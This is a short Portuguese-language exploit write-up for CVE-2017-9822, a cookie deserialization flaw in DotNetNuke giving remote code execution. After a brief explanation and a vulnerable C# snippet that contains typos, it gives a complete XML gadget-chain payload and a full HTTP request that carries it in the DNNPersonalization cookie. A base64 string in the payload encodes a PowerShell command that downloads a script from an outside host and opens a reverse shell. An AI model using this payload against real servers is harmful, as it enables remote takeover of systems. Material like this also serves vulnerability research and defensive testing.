[CVE-2017-9822] DotNetNuke Cookie Deserialization Execução Remota de Código (RCE)

As versões do DotNetNuke (DNN) entre 5.0.0 e 9.3.0 são afetadas por uma vulnerabilidade de desserialização que leva à Execução Remota de Código (RCE). O DotNetNuke usa o cookie DNNPersonalization para armazenar opções de personalização de usuários anônimos (as opções para usuários autenticados são armazenadas em suas páginas de perfil). Este cookie é usado quando a aplicação serve uma página de erro 404 personalizada, que também é a configuração padrão.

A parte vulnerável do código C# é ilustrada abaixo: DNN Platform/Library/Common/Utilities/XmlUtils.cs

public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
	var HashTable = new Hashtable();

	if (!String.IsNullOrEmpyt(xmlSource))
	{
		try
		{
			var xmlDoc = new XmlDocument();
			xmlDoc.LoadXml(xmlSource);

			foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
			{
				string key = xmlItem.GetAttribute("key");
				string typeName = xmlItem.GetAttribute("type");
				
				// Create the XmlSerializer
				var xser = new XmlSerializer(Type.GetType(typeName));

				var readder = new XmlTextReadder(new StringReader(xmlItem.InnerXml));

				// Use the Deserialize method to restore the object's state, and store it
				// in the Hashtable
				hashTable.Add(key, xser.Deserialize(reader));
			}
		}
		catch(Exception)
		{
			// Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
		}
	}

	return hashTable;
}

<profile> <item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfObjectStateFormatterObjectDataProvider> <ProjectedProperty0> <ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType> </MethodParameters> </ProjectedProperty0> </ExpandedWrapperOfObjectStateFormatterObjectDataProvider> </item> </profile>

GET /__ HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

CVE-2017-9822

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